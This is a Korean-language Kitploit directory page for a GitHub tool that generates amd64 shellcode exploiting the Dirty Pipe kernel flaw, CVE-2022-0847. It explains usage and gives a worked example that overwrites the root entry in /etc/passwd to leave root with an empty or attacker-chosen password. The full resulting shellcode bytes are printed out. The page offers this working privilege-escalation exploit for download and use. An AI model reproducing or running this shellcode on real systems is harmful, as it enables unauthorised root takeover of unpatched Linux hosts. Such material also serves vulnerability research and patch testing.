Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve_2022_0847_shellcode — CVE-2022-0847을 셸코드로 구현 | Kitploit
도구/GitHubGitHub/shotokhan/cve_2022_0847_shellcode
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationShellcodeBinary Exploitation
GitHubshotokhan/cve_2022_0847_shellcode

cve_2022_0847_shellcode

CVE-2022-0847을 셸코드로 구현

저장소 보기
324년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

cve_2022_0847_셸코드

설명

이 저장소는 pwntools를 기반으로 CVE-2022-0847을 구현하는 셸코드를 생성하는 Python 스크립트(gen_shellcode.py)를 포함합니다.
셸코드는 다음 PoC를 기반으로 합니다: antx.
PoC의 코드와 strace를 사용한 실행을 분석하여 익스플로잇에 필요한 모든 시스템 호출을 파악했으며, 처음에는 syscall.h를 사용하는 C 프로그램을 작성했습니다. 이는 셸코드에는 적합하지 않지만 참고용으로 좋기 때문에 여기에 포함했습니다(tiny_cve-2022-0847.c).
셸코드를 생성하는 함수는 쓰기 대상 파일 경로, 쓸 데이터, 데이터를 쓸 오프셋의 세 가지 매개변수를 받습니다.
objdump의 디스어셈블리 형식으로 생성된 셸코드 예제는 shellcode.asm에서 찾을 수 있으며, 다음 매개변수로 생성되었습니다:

  • 파일명 /etc/passwd
  • 데이터 :$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n
  • 오프셋 4

이로 인해 루트 계정이 빈 비밀번호로 설정됩니다.

사용법

root@kitploit:~
$ python gen_shellcode.py 
사용법: gen_shellcode.py filename data offset [verbose (아무 값이나 넣으면 verbose가 True로 설정됨)]

셸코드를 생성하는 cve_2022_0847 함수를 가져와 다른 스크립트에서 호출하거나, 이 스크립트를 직접 사용할 수 있습니다. cve_2022_0847을 호출하고 셸코드로 ELF를 만드는 example_usage 함수가 있습니다.
cve_2022_0847 함수는 기본적인 정합성 검사도 수행하며, verbose 매개변수가 설정된 경우 익스플로잇에서 발생할 수 있는 문제점과 디스어셈블된 셸코드를 출력합니다.
조립된 셸코드를 반환합니다. main 함수는 명령줄 매개변수로 cve_2022_0847을 호출하고 결과 셸코드를 C 스타일의 16진수(즉, 인쇄 가능한 바이트를 디코딩하지 않은 형태)로 출력합니다. 예:

root@kitploit:~
$ python gen_shellcode.py /etc/passwd ":$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n" 4
결과 셸코드:
\x68\x72\x76\x65\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x2f\x65\x74\x63\x2f\x70\x61\x73\x50\x48\x89\xe6\x6a\x9c\x5f\x31\xd2\x31\xc0\x66\xb8\x01\x01\x0f\x05\x48\x83\xec\x10\x48\x89\xe7\x6a\x16\x58\x0f\x05\x6a\x05\x5f\x31\xf6\x66\xbe\x08\x04\x6a\x48\x58\x0f\x05\x49\x89\xc7\x4d\x89\xfe\x6a\x05\x5f\x48\x81\xec\x00\x10\x00\x00\x48\x89\xe6\x31\xd2\xb6\x10\x4d\x85\xff\x74\x0a\x6a\x01\x58\x0f\x05\x49\x29\xd7\xeb\xf1\x4d\x89\xf7\x6a\x04\x5f\x4d\x85\xff\x74\x09\x31\xc0\x0f\x05\x49\x29\xd7\xeb\xf2\x6a\x03\x45\x31\xd2\x6a\x01\x41\x58\x45\x31\xc9\x6a\x03\x5f\x6a\x05\x5a\x48\x89\xe6\x31\xc0\x66\xb8\x13\x01\x0f\x05\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x72\x69\x5d\x6f\x01\x01\x01\x48\x31\x04\x24\x48\xb8\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x50\x48\xb8\x4c\x62\x79\x2f\x3a\x30\x3a\x30\x50\x48\xb8\x75\x73\x61\x6d\x47\x70\x6f\x47\x50\x48\xb8\x50\x4b\x37\x6d\x32\x33\x47\x4a\x50\x48\xb8\x3a\x31\x36\x39\x32\x33\x71\x52\x50\x48\x89\xe6\x6a\x05\x5f\x6a\x2d\x5a\x6a\x01\x58\x0f\x05\x31\xff\x31\xc0\xb0\xe7\x0f\x05

면책 조항

지원되는 아키텍처는 오직 amd64입니다.

도구 다운로드